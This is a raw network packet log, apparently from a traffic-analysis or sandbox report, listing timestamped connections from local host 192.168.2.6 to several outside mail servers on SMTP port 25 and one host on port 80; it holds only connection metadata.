Jan 7, 2022 15:43:21.805318117 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805336952 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805397987 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805412054 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805418968 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805515051 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805527925 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805748940 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805762053 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805915117 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805928946 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805937052 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.805947065 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806150913 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806165934 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806179047 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806191921 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806200981 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806512117 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806525946 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806535006 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806832075 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806847095 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806859970 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806874037 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.806886911 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807178974 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807192087 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807480097 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807499886 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807518959 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807533979 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807550907 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807568073 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.807790995 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808449030 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808495045 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808522940 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808556080 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808592081 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808629990 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808660030 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808689117 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808728933 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808758020 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808794975 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808828115 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808890104 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808928013 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.808954000 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809420109 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809449911 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809478045 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809504032 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809530020 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809621096 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809650898 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809679985 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809861898 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.809892893 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.810480118 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.810519934 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.810550928 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.810586929 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.810753107 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.810786963 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811230898 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811268091 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811671019 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811701059 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811738014 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811765909 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811909914 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811942101 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.811978102 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812007904 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812043905 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812074900 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812112093 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812145948 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812180996 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812212944 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812248945 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812278986 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812315941 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812344074 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812437057 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812467098 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812558889 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812954903 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.812989950 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813191891 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813230991 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813263893 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813296080 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813402891 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813432932 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813466072 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813494921 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813525915 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813559055 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813591957 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813870907 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813903093 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813935995 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813965082 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.813997984 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.814028025 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.814316034 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.814351082 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.814378023 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.814412117 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.847929001 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.847959995 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848261118 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848288059 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848315001 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848428965 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848458052 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848481894 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848509073 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848591089 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848618984 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848643064 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848670006 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848803997 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848836899 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848890066 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848917961 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.848988056 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.849018097 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.849045038 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.849071026 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.849159002 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.849184990 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.849211931 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.849296093 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:21.850758076 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.852637053 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:21.891627073 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:21.893934965 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:21.915204048 CET	49847	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:21.953145027 CET	49848	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:21.974649906 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.974766016 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.974781990 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.975012064 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.975106001 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:21.975545883 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.975586891 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.975629091 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.975769043 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.976043940 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.976799011 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.976838112 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.976902008 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.977246046 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.977519035 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.977689981 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.977780104 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.978005886 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.978106976 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.978543997 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.978574038 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.978833914 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.978863955 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.979731083 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.979759932 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.979787111 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.979814053 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.980072021 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.980102062 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.980226040 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.980734110 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.980760098 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.981200933 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.981230021 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.981578112 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.982121944 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.982150078 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.982496977 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.982525110 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.983021021 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.983052015 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.983082056 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.983380079 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.983724117 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.983968973 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.984021902 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.984050989 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.984277964 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.984308958 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.984405041 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.984565973 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.984688997 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.985234022 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.985264063 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.985291958 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.985625982 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.985652924 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.985678911 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.985707045 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.986196041 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.986223936 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.986249924 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:21.986382961 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.036695004 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:22.081077099 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:22.085750103 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:22.164997101 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.165034056 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.165060043 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.165175915 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.165251970 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.165407896 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.165436029 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.165463924 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.165615082 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.165672064 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.200731039 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:22.200854063 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:22.251545906 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:22.251662970 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:22.251970053 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:22.251988888 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.279304981 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.279457092 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.296216965 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.308248043 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.308366060 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.327182055 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:22.327318907 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:22.334912062 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.339348078 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.339494944 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.354084969 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.354103088 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.354406118 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.354418993 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.354732037 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.354744911 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355015039 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355093002 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355253935 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355267048 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355523109 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355683088 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355957031 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.355972052 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.356339931 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.356358051 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.356549978 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.356563091 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.356827974 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.356861115 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.366369009 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.366482019 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.398119926 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.403443098 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.403563976 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.403599024 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.403857946 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.406689882 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:22.433008909 CET	25	49849	142.251.31.27	192.168.2.6
Jan 7, 2022 15:43:22.433131933 CET	49849	25	192.168.2.6	142.251.31.27
Jan 7, 2022 15:43:22.456423998 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.456530094 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.485109091 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.510591984 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.510721922 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.538295031 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:22.538433075 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:22.546432972 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.547075987 CET	25	49832	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:22.547167063 CET	49832	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:22.557004929 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:22.557037115 CET	25	49830	35.82.253.27	192.168.2.6
Jan 7, 2022 15:43:22.557100058 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:22.557147980 CET	49830	25	192.168.2.6	35.82.253.27
Jan 7, 2022 15:43:22.564964056 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.567560911 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.567671061 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.602355957 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:22.606267929 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:22.621375084 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.621495008 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.639309883 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:22.680656910 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.686074972 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.686206102 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.686467886 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.686470032 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.702980995 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:22.703181982 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:22.738688946 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.738842010 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.739003897 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.739034891 CET	25	49850	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.739132881 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.739168882 CET	49850	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.755897045 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:22.755980968 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:22.756059885 CET	25	49831	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:22.756125927 CET	49831	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:22.760305882 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:22.760437012 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:22.792757034 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.792859077 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.835190058 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:22.835328102 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:22.845052004 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.847413063 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.847539902 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.874393940 CET	49835	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:22.899965048 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.900088072 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.957252026 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.962508917 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:22.962620020 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.962642908 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:22.962970972 CET	49853	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:22.968360901 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:22.968482018 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:23.014971972 CET	25	49852	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:23.015057087 CET	49852	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:23.072308064 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:23.100711107 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:23.100881100 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:23.100919008 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:23.190985918 CET	25	49845	142.250.157.26	192.168.2.6
Jan 7, 2022 15:43:23.192662954 CET	49845	25	192.168.2.6	142.250.157.26
Jan 7, 2022 15:43:23.197422028 CET	49854	25	192.168.2.6	96.47.154.206
Jan 7, 2022 15:43:23.234616995 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:23.234734058 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:23.234812021 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:23.234838963 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:23.234844923 CET	25	49851	104.47.56.110	192.168.2.6
Jan 7, 2022 15:43:23.236526966 CET	49851	25	192.168.2.6	104.47.56.110
Jan 7, 2022 15:43:23.310877085 CET	25	49853	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:23.311017990 CET	49853	25	192.168.2.6	74.125.200.27
